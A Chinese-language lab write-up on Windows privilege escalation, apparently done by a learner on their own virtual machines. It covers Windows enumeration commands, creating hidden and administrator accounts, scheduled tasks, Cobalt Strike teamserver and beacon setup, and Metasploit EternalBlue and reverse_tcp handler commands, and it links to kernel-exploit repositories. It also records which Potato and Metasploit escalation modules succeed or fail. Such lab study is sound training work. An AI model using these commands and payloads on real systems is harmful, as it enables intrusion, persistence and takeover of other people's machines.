知识点
Windows相关知识
Windows下信息收集
systeminfo | 打印系统信息 |
whoami | 获取当前用户名 |
whoami /priv | 当前账户权限 |
ipconfig | 网络配置信息 |
ipconfig /displaydns | 显示DNS缓存 |
arp -a | 打印arp表 |
net user | 列出用户 |
net user username | 关于用户的信息 |
net localgroup | 列出所有组 |
net localgroup GROUP | 关于指定组的信息 |
tasklist /svc | 列出进程列表 |
net start | 列出启动的服务 |
ver | 操作系统版本类型 |
Windows权限
System:系统组,拥有管理系统资源的权限,包括文件、目录和注册表等。
Administrators:管理员组,具有对计算机进行完全访问和操作的权限。
Users:用户组,一般用户的默认组别,拥有较低的系统权限。
Guests:访客组,可以访问计算机上的公共文件夹和打印机,但不能更改配置和安装程序。
Backup Operators:备份操作员组,允许用户备份和还原数据,但不能更改配置安装程序。
Power Users:高级用户组,拥有比一般用户更高的系统权限,但比管理员组权限低。
默认用户账户 | 含义 | 说明 |
Administrator | 管理员用户 | 管理计算机(域)的内置帐户(默认禁用) |
DefaultAccount | 默认账户 | 系统管理的用户帐户(默认禁用) |
defaultuser0 | 默认用户 | (默认禁用) |
Guest | 来宾用户 | 提供给访客人员使用(默认禁用) |
WDAGUtilityAccount | Windows Defender用户 | 系统为 Windows Defender 应用程序防护方案管理和使用的用户帐户(默认禁用) |
Windows组件关联的用户 | 含义 | 说明 |
System | 本地系统用户 | 为windows的核心组件访问文件等资源提供权限 |
Local Service | 本地服务用户 | 预设的拥有最小权限的本地账户 |
Network Service | 网络服务用户 | 具有运行网络服务权限的计算机账户 |
拥有的权限大小:System > Administrator > User > Guest
Windows下管理用户组
新增、删除用户
net user 用户名 /add/del
新增、删除隐藏用户
net user 用户名$ /add/del
新增、删除用户组
net localgroup 组名 /add/del
添加用户到用户组、从用户组中删除用户
net localgroup 组名 用户名 /add/del
将普通用户添加到管理员用户(提权)
net localgroup Administrators 用户名 /add
Windows任务计划程序
系统自带的计划任务是一款不可缺少的重要工具之一,我们可以通过计划任务自定义设置这行任务,比如运行软件、系统关机等
任务计划程序在windows绝大多数版本都是系统自带,可以通过一下入口找到,以本机为例
创建任务
其中创建任务分创建基本任务和创建任务,这两者本身并没有区别,只是创建的过程,一个是可以最简化的任务创建方式,一个是完整的创建窗口页面,所以这次只介绍创建任务,他本身就包含了创建基本任务。
schtasks命令:
schtasks /create /tn "My Daily Script" /tr W:\Users\asus\Desktop\1111.txt /sc daily /st 09:00 /rl HIGHEST /f
# 查询指定名称计划任务
schtasks /query | findstr "My Daily Script"
# 删除指定名称计划任务
schtasks /delete /tn "My Daily Script" /f
# 查询所有计划任务
schtasks /query
# 创建计划任务:/create
1.每天固定时间,以普通权限启动notepad.exe
schtasks /create /tn testservicel /sc daily /st 01:02 /tr notepad.exe
2.每天固定时间,以system权限启动notepad.exe
schtasks /create /tn testservice2 /sc daily /st 01:02 /tr notepad.exe /rl highest
# 查看计划任务:/query
schtasks /query /tn testservicel
# 修改计划任务:/change
schtasks /change /tn "testservicel" /st 14:00
# 删除计划任务:/delete
schtasks /delete /tn testservicel [f]
更多详细内容请看掌握 Windows 10 中的内置任务计划程序:分步指南
CS安装配置
Cobalt Strike 是一款专业的渗透测试和红队操作工具,旨在帮助安全专家模拟真实的攻击场景。它拥有强大的命令与控制(C2)功能、丰富的后渗透模块和灵活的脚本支持,使其成为安全评估和攻击模拟的重要工具。在高级渗透测试和红队操作领域,Cobalt Strike提供了丰富的功能和强大的模块,用于模拟高级持续性威胁(APT),执行复杂的攻击链条,并帮助组织评估和提升其安全防护能力
下载CobaltStrike后解压,将Server文件夹复制到vps中,并使用命令给予执行权限:
chmod +x teamserver
chmod +x TeamServerImage
使用命令Server端启动命令
./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件
[YYYY-MM-DD] 可选参数 所有payload的终止时间
本机打开client目录下的Cobalt_Strike_CN.bat文件
使用vpn地址以及设置的密码登录
进入主界面后,设置监听器listener
然后选择有效载荷,监听器选择listener1,生成Windows可执行文件beacon_x64.exe
双击可执行文件,可以发现视图中多了一项
设置sleep为1s
测试VNC交互功能,如图,成功连接
安装CS插件,添加如下插件,方便后续进行提权操作
MSF安装配置
安装MSF
一句话安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
安装完成后,使用命令msfconsole启用框架,查看开始界面
其他基本使用命令如下:
msfconsole #进入框架
search ms17_010 # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
info #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set rhosts 'hostip' / rport 'port' #设置参数
exploit / run #攻击
在实际提权操作中,我们使用MSF进行提权操作时,通常是先search查找网页相关漏洞,选择等级高的、较新的漏洞,use进入模块,info查看模块信息,set攻击ip和端口,开始攻击,然后getshell,获取主机信息,再针对其进行木马上传,完成相关提权操作
手工提权思路
信息收集:收集系统信息,补丁信息,杀软等。
筛选:筛选可能存在的exp,利用exp进行攻击获取权限
EXP获取:
https://github.com/Ascotbe/Kernelhub
http://kernelhub.ascotbe.com/Windows/Docs/#/
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/nomi-sec/PoC-in-GitHub
https://gitlab.com/exploit-database/exploitdb
土豆大全
各类土豆下载:
提权实操
CS插件提权
将之前CS生成的可执行文件复制到WinServer2012虚拟机内,双击运行
可以看到本机CS内多了一条虚拟机会话,同样将回连间隔设置为1s
使用CS插件对虚拟机进行提权
JuicyPotato提权成功,但创建会话失败
MS16-032提权成功,且成功创建会话
在会话交互里使用shell whoami命令查看权限,成功
MS16-135提权成功,且成功创建会话
在会话交互里使用shell whoami命令查看权限,成功
各类土豆手工提权
GodPotato
Win10
GodPotato-NET4.exe:失败
GodPotato-NET35.exe:失败
GodPotato-NET2.exe:失败
WinServer2012
GodPotato-NET4.exe:失败
GodPotato-NET35.exe:失败
GodPotato-NET2.exe:失败
PetitPotato
Win10
失败
WinServer2012
失败
JuicyPotato
Win10
失败
WinServer2012
PrintNotifyPotato
Win10
三个版本均失败
WinServer2012
三个版本均失败
MSF提权
vps执行命令生成木马
将生成的木马文件msf.exe通过SFTP传到主机,再使用u盘从主机存到虚拟机WinServer2012
vps上执行命令开始监听
msfconsole #启动msf
use exploit/multi/handler #使用指定漏洞模块
set payload windows/meterpreter/reverse_tcp # 配置有效载荷
set lport 6666 # 配置监听端⼝
set lhost 0.0.0.0 # 配置监听地址
run # 开始监听
在win server 2012虚拟机中双击上面生成的msf.exe
,vps这边就会显示建立会话成功
执行命令,找补丁,可能由于是才装的虚拟机,结果一个补丁都没找到
使用提权模块查找漏洞
完成后查看结果,可以看到绿色的就是可以利用的漏洞
这里我们选择挨个尝试可以利用的漏洞进行提权,每个都是同样的操作,进入框架、设置参数开始攻击,以下是各个漏洞提权结果
cve_2020_0787_bits_arbitrary_file_move:会话创建失败,提权失败
bypassuac_eventvwr:无会话创建,提权失败
bypassuac_sluihijack:无会话创建,提权失败
ms16_032_secondary_logon_handle_privesc:无会话创建,提权失败
ikeext_service:无会话创建,提权失败
tokenmagic:执行成功,且成功上传文件
查看虚拟机,文件成功上传
返回,getshell,执行刚刚上传的文件,发现提权失败,而且文件被删了,果然msf不好用QAQ,由于这里实在没有找到合适可用的提权木马,这里我们选择上传CS木马,再在CS里进行提权,上传CS默认木马
启动CS,开始监听
在msf上启用shell,运行cs.exe
在cs里可以看到winserver2012已成功上线
设置回连间隔为1s,使用插件提权,成功提权并创立会话,至此完成msf+CS联合提权